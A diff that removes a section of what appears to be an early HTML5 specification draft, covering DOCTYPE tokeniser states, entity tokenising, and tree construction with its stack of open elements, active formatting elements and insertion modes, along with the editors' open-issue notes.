-     <dt>U+0009 CHARACTER TABULATION
-
-     <dt>U+000A LINE FEED (LF)
-
-     <dt>U+000B LINE TABULATION
-
-     <dt>U+000C FORM FEED (FF)</dt>
-     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->
-
-     <dt>U+0020 SPACE
-
-     <dd>Stay in the <a href="#after0">after DOCTYPE name state</a>.
-
-     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)
-
-     <dd>Emit the current DOCTYPE token. Switch to the <a
-      href="#data-state">data state</a>.
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit the current DOCTYPE token.
-      Reconsume the EOF character in the <a href="#data-state">data
-      state</a>.
-
-     <dt>Anything else
-
-     <dd><a href="#parse">Parse error</a>. Mark the DOCTYPE token as being in
-      error, if it is not already. Switch to the <a href="#bogus0">bogus
-      DOCTYPE state</a>.
-    </dl>
-
-   <dt><dfn id=bogus0>Bogus DOCTYPE state</dfn>
-
-   <dd>
-    <p>Consume the <a href="#next-input">next input character</a>:</p>
-
-    <dl class=switch>
-     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)
-
-     <dd>Emit the current DOCTYPE token. Switch to the <a
-      href="#data-state">data state</a>.
-
-     <dt>EOF
-
-     <dd><a href="#parse">Parse error</a>. Emit the current DOCTYPE token.
-      Reconsume the EOF character in the <a href="#data-state">data
-      state</a>.
-
-     <dt>Anything else
-
-     <dd>Stay in the <a href="#bogus0">bogus DOCTYPE state</a>.
-    </dl>
-  </dl>
-
-  <p>When an end tag token is emitted, the <a href="#content2">content model
-   flag</a> must be switched to the PCDATA state.
-
-  <p>When an end tag token is emitted with attributes, that is a <a
-   href="#parse">parse error</a>.
-
-  <p>A <dfn id=permitted>permitted slash</dfn> is a U+002F SOLIDUS character
-   that is immediately followed by a U+003E GREATER-THAN SIGN, if, and only
-   if, the current token being processed is a start tag token whose tag name
-   is one of the following: <code><a href="#base0">base</a></code>, <code><a
-   href="#link0">link</a></code>, <code><a href="#meta1">meta</a></code>,
-   <code><a href="#hr0">hr</a></code>, <code><a href="#br0">br</a></code>,
-   <code><a href="#img0">img</a></code>, <code><a
-   href="#embed0">embed</a></code>, <code><a href="#param0">param</a></code>,
-   <code><a href="#area0">area</a></code>, <code><a
-   href="#col0">col</a></code>, <code>input</code><!-- XXX add:
-  , <code>command</code>, <code>event-source</code> --></p>
-  <!-- XXX
-  keep this synchronised with the list of "void elements" -->
-
-  <h5 id=tokenising><span class=secno>8.2.3.1. </span>Tokenising entities</h5>
-
-  <p>This section defines how to <dfn id=consume>consume an entity</dfn>.
-   This definition is used when parsing entities <a href="#entity"
-   title="entity data state">in text</a> and <a href="#entity0" title="entity
-   in attribute value state">in attributes</a>.
-
-  <p>The behaviour depends on the identity of the next character (the one
-   immediately after the U+0026 AMPERSAND character):
-
-  <dl class=switch>
-   <dt>U+0023 NUMBER SIGN (#)
-
-   <dd>
-    <p>Consume the U+0023 NUMBER SIGN.</p>
-
-    <p>The behaviour further depends on the character after the U+0023 NUMBER
-     SIGN:</p>
-
-    <dl class=switch>
-     <dt>U+0078 LATIN SMALL LETTER X
-
-     <dt>U+0058 LATIN CAPITAL LETTER X
-
-     <dd>
-      <p>Consume the X.</p>
-
-      <p>Follow the steps below, but using the range of characters U+0030
-       DIGIT ZERO through to U+0039 DIGIT NINE, U+0061 LATIN SMALL LETTER A
-       through to U+0078 LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL
-       LETTER A, through to U+0058 LATIN CAPITAL LETTER F (in other words,
-       0-9, A-F, a-f).</p>
-
-      <p>When it comes to interpreting the number, interpret it as a
-       hexadecimal number.</p>
-
-     <dt>Anything else
-
-     <dd>
-      <p>Follow the steps below, but using the range of characters U+0030
-       DIGIT ZERO through to U+0039 DIGIT NINE (i.e. just 0-9).</p>
-
-      <p>When it comes to interpreting the number, interpret it as a decimal
-       number.</p>
-    </dl>
-
-    <p>Consume as many characters as match the range of characters given
-     above.</p>
-
-    <p>If no characters match the range, then don't consume any characters
-     (and unconsume the U+0023 NUMBER SIGN character and, if appropriate, the
-     X character). This is a <a href="#parse">parse error</a>; nothing is
-     returned.</p>
-
-    <p>Otherwise, if the next character is a U+003B SEMICOLON, consume that
-     too. If it isn't, there is a <a href="#parse">parse error</a>.</p>
-
-    <p>If one or more characters match the range, then take them all and
-     interpret the string of characters as a number (either hexadecimal or
-     decimal as appropriate), and return a character token for the Unicode
-     character whose code point is that number. If the number is not a valid
-     Unicode character (e.g. if the number is higher than 1114111), or if the
-     number is zero, then return a character token for the U+FFFD REPLACEMENT
-     CHARACTER character instead.</p>
-
-   <dt>Anything else
-
-   <dd>
-    <p>Consume the maximum number of characters possible, with the consumed
-     characters case-sensitively matching one of the identifiers in the first
-     column of the <a href="#entities1">entities</a> table.</p>
-
-    <p>If no match can be made, then this is a <a href="#parse">parse
-     error</a>. No characters are consumed, and nothing is returned.</p>
-
-    <p>Otherwise, if the next character is a U+003B SEMICOLON, consume that
-     too. If it isn't, there is a <a href="#parse">parse error</a>.</p>
-
-    <p>Return a character token for the character corresponding to the entity
-     name (as given by the second column of the <a
-     href="#entities1">entities</a> table).</p>
-
-    <div class=example>
-     <p>If the markup contains <code>I'm AMPERSANDamp;notit without you</code>, the
-      entity is parsed as "not", as in, <code>I'm AMPERSANDnot;it without you</code>.
-      But if the markup was <code>I'm AMPERSANDamp;notin without you</code>, the
-      entity would be parsed as "notin", resulting in <code>I'm AMPERSANDnotin;
-      without you</code>.</p>
-    </div>
-  </dl>
-
-  <p class=big-issue>This isn't quite right. For some entities, UAs require a
-   semicolon, for others they don't. We probably need to do the same for
-   backwards compatibility. If we do that we might be able to add more
-   entities, e.g. for mathematics. Probably the way to mark whether or not an
-   entity requires a semicolon is with an additional column in the <a
-   href="#entities1" title=entities>entity table lower down</a>.</p>
-  <!--
-XXX
-handle entities in the Win1252 range...
-http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/html/HTMLTokenizer.cpp#L101
-  -->
-
-  <h4 id=tree-construction><span class=secno>8.2.4. </span><dfn
-   id=tree-construction1>Tree construction</dfn></h4>
-
-  <p>The input to the tree construction stage is a sequence of tokens from
-   the <a href="#tokenisation1">tokenisation</a> stage. The tree construction
-   stage is associated with a DOM <code>Document</code> object when a parser
-   is created. The "output" of this stage consists of dynamically modifying
-   or extending that document's DOM tree.
-
-  <p>Tree construction passes through several phases. Initially, UAs must act
-   according to the steps described as being those of <a
-   href="#the-initial1">the initial phase</a>.
-
-  <p>This specification does not define when an interactive user agent has to
-   render the <code>Document</code> available to the user, or when it has to
-   begin accepting user input.
-
-  <p>When the steps below require the UA to <dfn id=append>append a
-   character</dfn> to a node, the UA must collect it and all subsequent
-   consecutive characters that would be appended to that node, and insert one
-   <code>Text</code> node whose data is the concatenation of all those
-   characters.
-
-  <p id=mutation-during-parsing>DOM mutation events must not fire for changes
-   caused by the UA parsing the document. (Conceptually, the parser is not
-   mutating the DOM, it is constructing it.) This includes the parsing of any
-   content inserted using <code title=dom-document-write-HTML><a
-   href="#document.write0">document.write()</a></code> and <code
-   title=dom-document-writeln><a
-   href="#document.writeln">document.writeln()</a></code> calls.<!--
-  XXX xref -->
-   <a href="#refsDOM3Events">[DOM3EVENTS]</a></p>
-  <!-- XXX
-  what abotu innerHTML? -->
-
-  <p class=note>Not all of the tag names mentioned below are conformant tag
-   names in this specification; many are included to handle legacy content.
-   They still form part of the algorithm that implementations are required to
-   implement to claim conformance.
-
-  <p class=note>The algorithm described below places no limit on the depth of
-   the DOM tree generated, or on the length of tag names, attribute names,
-   attribute values, text nodes, etc. While implementators are encouraged to
-   avoid arbitrary limits, it is recognised that <a
-   href="#hardwareLimitations">practical concerns</a> will likely force user
-   agents to impose nesting depths.
-
-  <h5 id=the-initial><span class=secno>8.2.4.1. </span><dfn
-   id=the-initial1>The initial phase</dfn></h5>
-
-  <p>Initially, the tree construction stage must handle each token emitted
-   from the <a href="#tokenisation1">tokenisation</a> stage as follows:
-
-  <dl class=switch>
-   <dt>A DOCTYPE token that is marked as being in error
-
-   <dt>A comment token
-
-   <dt>A start tag token
-
-   <dt>An end tag token
-
-   <dt>A character token that is not one of one of U+0009 CHARACTER
-    TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM
-    FEED (FF), or U+0020 SPACE
-
-   <dt>An end-of-file token
-
-   <dd>
-    <p>This specification does not define how to handle this case. In
-     particular, user agents may ignore the entirety of this specification
-     altogether for such documents, and instead invoke special parse modes
-     with a greater emphasis on backwards compatibility.</p>
-
-    <div class=note>
-     <p>Browsers in particular have generally used DOCTYPE-based sniffing to
-      invoke an "alternative conformance mode" known as <em>quirks mode</em>
-      on certain documents. In this mode, emphasis is put on legacy
-      compatibility rather than on standards compliance. This specification
-      takes no position on this behaviour; documents without DOCTYPEs or with
-      DOCTYPEs that do not conform to the syntax allowed by this
-      specification are considered to be out of scope of this specification.</p>
-    </div>
-
-    <div class=big-issue>
-     <p>As far as parsing goes, the quirks I know of are:</p>
-
-     <ul>
-      <li>Comment parsing is different.
-
-      <li>The following is considered one script block (!):
-       <pre>AMPERSANDlt;script>AMPERSANDlt;!-- document.write('AMPERSANDlt;/script>'); -->AMPERSANDlt;/script></pre>
-
-      <li><code>AMPERSANDlt;/br></code> and <code>AMPERSANDlt;/p></code> do magical things.
-
-      <li><code><a href="#p0">p</a></code> can contain <code><a
-       href="#table0">table</a></code>
-
-      <li>Safari and IE have special parsing rules for AMPERSANDlt;% ... %AMPERSANDgt; (even
-       in standards mode, though clearly this should be quirks-only).
-     </ul>
-
-     <p>Maybe we should just adopt all those and be done with it. One parsing
-      mode to rule them all. Or legitimise/codify the quirks mode parsing in
-      some way.</p>
-
-     <p>Would be interesting to do a search to see how many pages hit each of
-      the above.</p>
-     <!-- biased by page rank? --></div>
-
-   <dt>A DOCTYPE token marked as being correct
-
-   <dd>
-    <p>Append a <code>DocumentType</code> node to the <code>Document</code>
-     node, with the <code title="">name</code> attribute set to the name
-     given in the DOCTYPE token (which will be "HTML"), and the other
-     attributes specific to <code>DocumentType</code> objects set to null,
-     empty lists, or the empty string as appropriate.</p>
-
-    <p>Then, switch to <a href="#the-root2">the root element phase</a> of the
-     tree construction stage.</p>
-    <!-- XXX should set doctype on the Document object, too, unless
-    spec is defined to already point to it if you append -->
-    
-
-   <dt>A character token that <em>is</em> one of one of U+0009 CHARACTER
-    TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM
-    FEED (FF), or U+0020 SPACE
-
-   <dd>
-    <p><a href="#append" title="append a character">Append that character</a>
-     to the <code>Document</code> node.</p>
-  </dl>
-
-  <h5 id=the-root0><span class=secno>8.2.4.2. </span><dfn id=the-root2>The
-   root element phase</dfn></h5>
-
-  <p>After <a href="#the-initial1">the initial phase</a>, as each token is
-   emitted from the <a href="#tokenisation1">tokenisation</a> stage, it must
-   be processed as described in this section.
-
-  <dl class=switch>
-   <dt>A DOCTYPE token
-
-   <dd>
-    <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-
-   <dt>A comment token
-
-   <dd>
-    <p>Append a <code>Comment</code> node to the <code>Document</code> object
-     with the <code title="">data</code> attribute set to the data given in
-     the comment token.</p>
-
-   <dt>A character token that is one of one of U+0009 CHARACTER TABULATION,
-    U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), or
-    U+0020 SPACE
-
-   <dd>
-    <p><a href="#append" title="append a character">Append that character</a>
-     to the <code>Document</code> node.</p>
-
-   <dt>A character token that is <em>not</em> one of U+0009 CHARACTER
-    TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM
-    FEED (FF), or U+0020 SPACE
-
-   <dt>A start tag token
-
-   <dt>An end tag token
-
-   <dt>An end-of-file token
-
-   <dd>
-    <p>Create an <code><a href="#htmlelement">HTMLElement</a></code> node
-     with the tag name <code><a href="#html0">html</a></code>, in the <a
-     href="#html-namespace0">HTML namespace</a>. Append it to the
-     <code>Document</code> object. Switch to <a href="#the-main1">the main
-     phase</a> and reprocess the current token.</p>
-
-    <p class=big-issue>Should probably make end tags be ignored, so that
-     "AMPERSANDlt;/head>AMPERSANDlt;!-- -->AMPERSANDlt;html>" puts the comment befor the root node
-     (or should we?)</p>
-  </dl>
-
-  <p>The root element can end up being removed from the <code>Document</code>
-   object, e.g. by scripts; nothing in particular happens in such cases,
-   content continues being appended to the nodes as described in the next
-   section.
-
-  <h5 id=the-main><span class=secno>8.2.4.3. </span><dfn id=the-main1>The
-   main phase</dfn></h5>
-
-  <p>After <a href="#the-root2">the root element phase</a>, each token
-   emitted from the <a href="#tokenisation1">tokenisation</a> stage must be
-   processed as described in <em>this</em> section. This is by far the most
-   involved part of parsing an HTML document.
-
-  <p>The tree construction stage in this phase has several pieces of state: a
-   <a href="#stack">stack of open elements</a>, a <a href="#list-of2">list of
-   active formatting elements</a>, a <a href="#head-element"><code
-   title="">head</code> element pointer</a>, a <a href="#form-element"><code
-   title="">form</code> element pointer</a>, and an <a
-   href="#insertion0">insertion mode</a>.
-
-  <p class=big-issue>We could just fold insertion modes and phases into one
-   concept (and duplicate the two rules common to all insertion modes into
-   all of them).
-
-  <h6 id=the-stack><span class=secno>8.2.4.3.1. </span>The stack of open
-   elements</h6>
-
-  <p>Initially the <dfn id=stack>stack of open elements</dfn> contains just
-   the <code><a href="#html0">html</a></code> root element node created in
-   the <a href="#the-root2" title="the root element phase">last phase</a>
-   before switching to <em>this</em> phase (or, in the <a
-   href="#innerhtml1"><code>innerHTML</code> case</a>, the <code><a
-   href="#html0">html</a></code> element created to represent the element
-   whose <code title=dom-innerHTML-HTML><a
-   href="#innerhtml0">innerHTML</a></code> attribute is being set). That's
-   the topmost node of the stack. It never gets popped off the stack. (This
-   stack grows downwards.)
-
-  <p>The <dfn id=current3>current node</dfn> is the bottommost node in this
-   stack.
-
-  <p>Elements in the stack fall into the following categories:
-
-  <dl>
-   <dt><dfn id=special>Special</dfn>
-
-   <dd>
-    <p>The following HTML elements have varying levels of special parsing
-     rules: <code><a href="#address0">address</a></code>, <code><a
-     href="#area0">area</a></code>, <code><a href="#base0">base</a></code>,
-     <code>basefont</code>, <code>bgsound</code>, <code><a
-     href="#blockquote0">blockquote</a></code>, <code><a
-     href="#body1">body</a></code>, <code><a href="#br0">br</a></code>,
-     <code>center</code>, <code><a href="#col0">col</a></code>, <code><a
-     href="#colgroup0">colgroup</a></code>, <code><a
-     href="#dd0">dd</a></code>, <code>dir</code>, <code><a
-     href="#div0">div</a></code>, <code><a href="#dl0">dl</a></code>,
-     <code><a href="#dt0">dt</a></code>, <code><a
-     href="#embed0">embed</a></code>, <code>fieldset</code>,
-     <code>form</code>, <code>frame</code>, <code>frameset</code>, <code><a
-     href="#h10">h1</a></code>, <code><a href="#h20">h2</a></code>, <code><a
-     href="#h30">h3</a></code>, <code><a href="#h40">h4</a></code>, <code><a
-     href="#h50">h5</a></code>, <code><a href="#h60">h6</a></code>, <code><a
-     href="#head0">head</a></code>, <code><a href="#hr0">hr</a></code>,
-     <code><a href="#iframe0">iframe</a></code>,
-     <code>image</code><!-- XXX ? this isn't an element that can end up
-   on the stack-->,
-     <code><a href="#img0">img</a></code>, <code>input</code>,
-     <code>isindex</code>, <code><a href="#li0">li</a></code>, <code><a
-     href="#link0">link</a></code>, <code>listing</code>, <code><a
-     href="#menu0">menu</a></code>, <code><a href="#meta1">meta</a></code>,
-     <code>noembed</code>, <code>noframes</code>, <code><a
-     href="#noscript0">noscript</a></code>, <code><a
-     href="#ol0">ol</a></code>, <code>optgroup</code>, <code>option</code>,
-     <code><a href="#p0">p</a></code>, <code><a
-     href="#param0">param</a></code>, <code>plaintext</code>, <code><a
-     href="#pre0">pre</a></code>, <code><a href="#script2">script</a></code>,
-     <code>select</code>, <code>spacer</code>, <code><a
-     href="#style0">style</a></code>, <code><a
-     href="#tbody0">tbody</a></code>, <code>textarea</code>, <code><a
-     href="#tfoot1">tfoot</a></code>, <code><a
-     href="#thead1">thead</a></code>, <code><a
-     href="#title3">title</a></code>, <code><a href="#tr0">tr</a></code>,
-     <code><a href="#ul0">ul</a></code>, and <code>wbr</code>.
-
-   <dt><dfn id=scoping>Scoping</dfn>
-
-   <dd>
-    <p>The following HTML elements introduce new <a href="#have-an"
-     title="has an element in scope">scopes</a> for various parts of the
-     parsing: <code>button</code>, <code><a
-     href="#caption1">caption</a></code>, <code><a
-     href="#html0">html</a></code>, <code>marquee</code>, <code><a
-     href="#object0">object</a></code>, <code><a
-     href="#table0">table</a></code>, <code><a href="#td0">td</a></code> and
-     <code><a href="#th0">th</a></code>.
-
-   <dt><dfn id=formatting>Formatting</dfn>
-
-   <dd>
-    <p>The following HTML elements are those that end up in the <a
-     href="#list-of2">list of active formatting elements</a>: <code><a
-     href="#a0">a</a></code>, <code><a href="#b0">b</a></code>,
-     <code>big</code>, <code><a href="#em0">em</a></code>, <code>font</code>,
-     <code><a href="#i0">i</a></code>, <code>nobr</code>, <code>s</code>,
-     <code><a href="#small0">small</a></code>, <code>strike</code>, <code><a
-     href="#strong0">strong</a></code>, <code>tt</code>, and <code>u</code>.
-
-   <dt><dfn id=phrasing>Phrasing</dfn>
-
-   <dd>
-    <p>All other elements found while parsing an HTML document.
-  </dl>
-
-  <p class=big-issue>Still need to add these new elements to the lists:
-   <code><a href="#event-source0">event-source</a></code>, <code><a
-   href="#section0">section</a></code>, <code><a href="#nav0">nav</a></code>,
-   <code><a href="#article0">article</a></code>, <code><a
-   href="#aside0">aside</a></code>, <code><a
-   href="#header0">header</a></code>, <code><a
-   href="#footer0">footer</a></code>, <code><a
-   href="#datagrid1">datagrid</a></code>, <code><a
-   href="#command1">command</a></code>
-
-  <p>The <a href="#stack">stack of open elements</a> is said to <dfn
-   id=have-an title="has an element in scope">have an element in scope</dfn>
-   or <dfn id=have-an0 title="has an element in table scope">have an element
-   in <em>table scope</em></dfn> when the following algorithm terminates in a
-   match state:
-
-  <ol>
-   <li>
-    <p>Initialise <var title="">node</var> to be the <a
-     href="#current3">current node</a> (the bottommost node of the stack).
-
-   <li>
-    <p>If <var title="">node</var> is the target node, terminate in a match
-     state.
-
-   <li>
-    <p>Otherwise, if <var title="">node</var> is a <code><a
-     href="#table0">table</a></code> element, terminate in a failure state.
-
-   <li>
-    <p>Otherwise, if the algorithm is the "has an element in scope" variant
-     (rather than the "has an element in table scope" variant), and <var
-     title="">node</var> is one of the following, terminate in a failure
-     state:</p>
-
-    <ul class=brief>
-     <li><code><a href="#caption1">caption</a></code>
-
-     <li><code><a href="#td0">td</a></code>
-
-     <li><code><a href="#th0">th</a></code>
-
-     <li><code>button</code>
-
-     <li><code>marquee</code>
-
-     <li><code><a href="#object0">object</a></code>
-    </ul>
-
-   <li>
-    <p>Otherwise, if <var title="">node</var> is an <code><a
-     href="#html0">html</a></code> element, terminate in a failure state.
-     (This can only happen if the <var title="">node</var> is the topmost
-     node of the <a href="#stack">stack of open elements</a>, and prevents
-     the next step from being invoked if there are no more elements in the
-     stack.)
-
-   <li>
-    <p>Otherwise, set <var title="">node</var> to the previous entry in the
-     <a href="#stack">stack of open elements</a> and return to step 2. (This
-     will never fail, since the loop will always terminate in the previous
-     step if the top of the stack is reached.)
-  </ol>
-
-  <p>Nothing happens if at any time any of the elements in the <a
-   href="#stack">stack of open elements</a> are moved to a new location in,
-   or removed from, the <code>Document</code> tree. In particular, the stack
-   is not changed in this situation. This can cause, amongst other strange
-   effects, content to be appended to nodes that are no longer in the DOM.
-
-  <p class=note>In some cases (namely, when <a href="#adoptionAgency">closing
-   misnested formatting elements</a>), the stack is manipulated in a
-   random-access fashion.
-
-  <h6 id=the-list><span class=secno>8.2.4.3.2. </span>The list of active
-   formatting elements</h6>
-
-  <p>Initially the <dfn id=list-of2>list of active formatting elements</dfn>
-   is empty. It is used to handle mis-nested <a href="#formatting"
-   title=formatting>formatting element tags</a>.
-
-  <p>The list contains elements in the <a href="#formatting">formatting</a>
-   category, and scope markers. The scope markers are inserted when entering
-   buttons, <code><a href="#object0">object</a></code> elements, marquees,
-   table cells, and table captions, and are used to prevent formatting from
-   "leaking" into tables, buttons, <code><a href="#object0">object</a></code>
-   elements, and marquees.
-
-  <p>When the steps below require the UA to <dfn id=reconstruct>reconstruct
-   the active formatting elements</dfn>, the UA must perform the following
-   steps:
-
-  <ol>
-   <li>If there are no entries in the <a href="#list-of2">list of active
-    formatting elements</a>, then there is nothing to reconstruct; stop this
-    algorithm.
-
-   <li>If the last (most recently added) entry in the <a
-    href="#list-of2">list of active formatting elements</a> is a marker, or
-    if it is an element that is in the <a href="#stack">stack of open
-    elements</a>, then there is nothing to reconstruct; stop this algorithm.
-
-   <li>Let <var title="">entry</var> be the last (most recently added)
-    element in the <a href="#list-of2">list of active formatting
-    elements</a>.
-
-   <li>If there are no entries before <var title="">entry</var> in the <a
-    href="#list-of2">list of active formatting elements</a>, then jump to
-    step 8.
-
-   <li>Let <var title="">entry</var> be the entry one earlier than <var
-    title="">entry</var> in the <a href="#list-of2">list of active formatting
-    elements</a>.
-
-   <li>If <var title="">entry</var> is neither a marker nor an element that
-    is also in the <a href="#stack">stack of open elements</a>, go to step 4.
-
-   <li>Let <var title="">entry</var> be the element one later than <var
-    title="">entry</var> in the <a href="#list-of2">list of active formatting
-    elements</a>.
-
-   <li>Perform a shallow clone of the element <var title="">entry</var> to
-    obtain <var title="">clone</var>. <a href="#refsDOM3CORE">[DOM3CORE]</a>
-
-   <li>Append <var title="">clone</var> to the <a href="#current3">current
-    node</a> and push it onto the <a href="#stack">stack of open elements</a>
-    so that it is the new <a href="#current3">current node</a>.
-
-   <li>Replace the entry for <var title="">entry</var> in the list with an
-    entry for <var title="">clone</var>.
-
-   <li>If the entry for <var title="">clone</var> in the <a
-    href="#list-of2">list of active formatting elements</a> is not the last
-    entry in the list, return to step 7.
-  </ol>
-
-  <p>This has the effect of reopening all the formatting elements that were
-   opened in the current body, cell, or caption (whichever is youngest) that
-   haven't been explicitly closed.
-
-  <p class=note>The way this specification is written, the <a
-   href="#list-of2">list of active formatting elements</a> always consists of
-   elements in chronological order with the least recently added element
-   first and the most recently added element last (except for while steps 8
-   to 11 of the above algorithm are being executed, of course).
-
-  <p>When the steps below require the UA to <dfn id=clear0>clear the list of
-   active formatting elements up to the last marker</dfn>, the UA must
-   perform the following steps:
-
-  <ol>
-   <li>Let <var title="">entry</var> be the last (most recently added) entry
-    in the <a href="#list-of2">list of active formatting elements</a>.
-
-   <li>Remove <var title="">entry</var> from the <a href="#list-of2">list of
-    active formatting elements</a>.
-
-   <li>If <var title="">entry</var> was a marker, then stop the algorithm at
-    this point. The list has been cleared up to the last marker.
-
-   <li>Go to step 1.
-  </ol>
-
-  <h6 id=creating><span class=secno>8.2.4.3.3. </span>Creating and inserting
-   HTML elements</h6>
-
-  <p>When the steps below require the UA to <dfn id=create title="create an
-   element for the token">create an element for a token</dfn>, the UA must
-   create a node implementing the interface appropriate for the element type
-   corresponding to the tag name of the token (as given in the section of
-   this specification that defines that element, e.g. for an <code><a
-   href="#a0">a</a></code> element it would be the <code><a
-   href="#htmlanchorelement">HTMLAnchorElement</a></code> interface), with
-   the tag name being the name of that element, with the node being in the <a
-   href="#html-namespace0">HTML namespace</a>, and with the attributes on the
-   node being those given in the given token.
-
-  <p>When the steps below require the UA to <dfn id=insert>insert an HTML
-   element</dfn> for a token, the UA must first <a href="#create">create an
-   element for the token</a>, and then append this node to the <a
-   href="#current3">current node</a>, and push it onto the <a
-   href="#stack">stack of open elements</a> so that it is the new <a
-   href="#current3">current node</a>.
-
-  <p>The steps below may also require that the UA insert an HTML element in a
-   particular place, in which case the UA must <a href="#create">create an
-   element for the token</a> and then insert or append the new node in the
-   location specified. (This happens in particular during the parsing of
-   tables with invalid content.)
-
-  <p>The interface appropriate for an element that is not defined in this
-   specification is <code><a href="#htmlelement">HTMLElement</a></code>.
-
-  <h6 id=closing><span class=secno>8.2.4.3.4. </span>Closing elements that
-   have implied end tags</h6>
-
-  <p>When the steps below require the UA to <dfn id=generate>generate implied
-   end tags</dfn>, then, if the <a href="#current3">current node</a> is a
-   <code><a href="#dd0">dd</a></code> element, a <code><a
-   href="#dt0">dt</a></code> element, an <code><a href="#li0">li</a></code>
-   element, a <code><a href="#p0">p</a></code> element, a <code><a
-   href="#td0">td</a></code> element, a <code><a href="#th0">th</a></code>
-   element, or a <code><a href="#tr0">tr</a></code> element, the UA must act
-   as if an end tag with the respective tag name had been seen and then <a
-   href="#generate">generate implied end tags</a> again.
-
-  <p>The step that requires the UA to generate implied end tags but lists an
-   element to exclude from the process, then the UA must perform the above
-   steps as if that element was not in the above list.
-
-  <h6 id=the-element><span class=secno>8.2.4.3.5. </span>The element pointers</h6>
-
-  <p>Initially the <dfn id=head-element><code title="">head</code> element
-   pointer</dfn> and the <dfn id=form-element><code title="">form</code>
-   element pointer</dfn> are both null.
-
-  <p>Once a <code><a href="#head0">head</a></code> element has been parsed
-   (whether implicitly or explicitly) the <a href="#head-element"><code
-   title="">head</code> element pointer</a> gets set to point to this node.
-
-  <p>The <a href="#form-element"><code title="">form</code> element
-   pointer</a> points to the last <code>form</code> element that was opened
-   and whose end tag has not yet been seen. It is used to make form controls
-   associate with forms in the face of dramatically bad markup, for
-   historical reasons.
-
-  <h6 id=the-insertion><span class=secno>8.2.4.3.6. </span>The insertion mode</h6>
-
-  <p>Initially the <dfn id=insertion0>insertion mode</dfn> is "<a
-   href="#before2" title="insertion mode: before head">before head</a>". It
-   can change to "<a href="#in-head" title="insertion mode: in head">in
-   head</a>", "<a href="#after1" title="insertion mode: after head">after
-   head</a>", "<a href="#in-body" title="insertion mode: in body">in
-   body</a>", "<a href="#in-table" title="insertion mode: in table">in
-   table</a>", "<a href="#in-caption" title="insertion mode: in caption">in
-   caption</a>", "<a href="#in-column" title="insertion mode: in column
-   group">in column group</a>", "<a href="#in-table0" title="insertion mode:
-   in table body">in table body</a>", "<a href="#in-row" title="insertion
-   mode: in row">in row</a>", "<a href="#in-cell" title="insertion mode: in
-   cell">in cell</a>", "<a href="#in-select" title="insertion mode: in
-   select">in select</a>", "<a href="#after2" title="insertion mode: after
-   body">after body</a>", "<a href="#in-frameset" title="insertion mode: in
-   frameset">in frameset</a>", and "<a href="#after3" title="insertion mode:
-   after frameset">after frameset</a>" during the course of the parsing, as
-   described below. It affects how certain tokens are processed.
-
-  <p>If the tree construction stage is switched from <a href="#the-main1">the
-   main phase</a> to <a href="#the-trailing1">the trailing end phase</a> and
-   back again, the various pieces of state are not reset; the UA must act as
-   if the state was maintained.
-
-  <p>When the steps below require the UA to <dfn id=reset>reset the insertion
-   mode appropriately</dfn>, it means the UA must follow these steps:
-
-  <ol>
-   <li>Let <var title="">last</var> be false.
-
-   <li>Let <var title="">node</var> be the last node in the <a
-    href="#stack">stack of open elements</a>.
-
-   <li>If <var title="">node</var> is the first node in the stack of open
-    elements, then set <var title="">last</var> to true. If the element whose
-    <code title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>
-    attribute is being set is neither a <code><a href="#td0">td</a></code>
-    element nor a <code><a href="#th0">th</a></code> element, then set <var
-    title="">node</var> to the element whose <code
-    title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>
-    attribute is being set. (<a href="#innerhtml1"><code>innerHTML</code>
-    case</a>)
-
-   <li>If <var title="">node</var> is a <code>select</code> element, then
-    switch the <a href="#insertion0">insertion mode</a> to "<a
-    href="#in-select" title="insertion mode: in select">in select</a>" and
-    abort these steps. (<a href="#innerhtml1"><code>innerHTML</code>
-    case</a>)
-
-   <li>If <var title="">node</var> is a <code><a href="#td0">td</a></code> or
-    <code><a href="#th0">th</a></code> element, then switch the <a
-    href="#insertion0">insertion mode</a> to "<a href="#in-cell"
-    title="insertion mode: in cell">in cell</a>" and abort these steps.
-
-   <li>If <var title="">node</var> is a <code><a href="#tr0">tr</a></code>
-    element, then switch the <a href="#insertion0">insertion mode</a> to "<a
-    href="#in-row" title="insertion mode: in row">in row</a>" and abort these
-    steps.
-
-   <li>If <var title="">node</var> is a <code><a
-    href="#tbody0">tbody</a></code>, <code><a
-    href="#thead1">thead</a></code>, or <code><a
-    href="#tfoot1">tfoot</a></code> element, then switch the <a
-    href="#insertion0">insertion mode</a> to "<a href="#in-table0"
-    title="insertion mode: in table body">in table body</a>" and abort these
-    steps.
-
-   <li>If <var title="">node</var> is a <code><a
-    href="#caption1">caption</a></code> element, then switch the <a
-    href="#insertion0">insertion mode</a> to "<a href="#in-caption"
-    title="insertion mode: in caption">in caption</a>" and abort these steps.
-
-   <li>If <var title="">node</var> is a <code><a
-    href="#colgroup0">colgroup</a></code> element, then switch the <a
-    href="#insertion0">insertion mode</a> to "<a href="#in-column"
-    title="insertion mode: in column group">in column group</a>" and abort
-    these steps. (<a href="#innerhtml1"><code>innerHTML</code> case</a>)
-
-   <li>If <var title="">node</var> is a <code><a
-    href="#table0">table</a></code> element, then switch the <a
-    href="#insertion0">insertion mode</a> to "<a href="#in-table"
-    title="insertion mode: in table">in table</a>" and abort these steps.
-
-   <li>If <var title="">node</var> is a <code><a
-    href="#head0">head</a></code> element, then switch the <a
-    href="#insertion0">insertion mode</a> to "<a href="#in-body"
-    title="insertion mode: in body">in body</a>" ("<a href="#in-body"
-    title="insertion mode: in body">in body</a>"! <em> not "<a
-    href="#in-head" title="insertion mode: in head">in head</a>"</em>!) and
-    abort these steps. (<a href="#innerhtml1"><code>innerHTML</code>
-    case</a>)
-
-   <li>If <var title="">node</var> is a <code><a
-    href="#body1">body</a></code> element, then switch the <a
-    href="#insertion0">insertion mode</a> to "<a href="#in-body"
-    title="insertion mode: in body">in body</a>" and abort these steps.
-
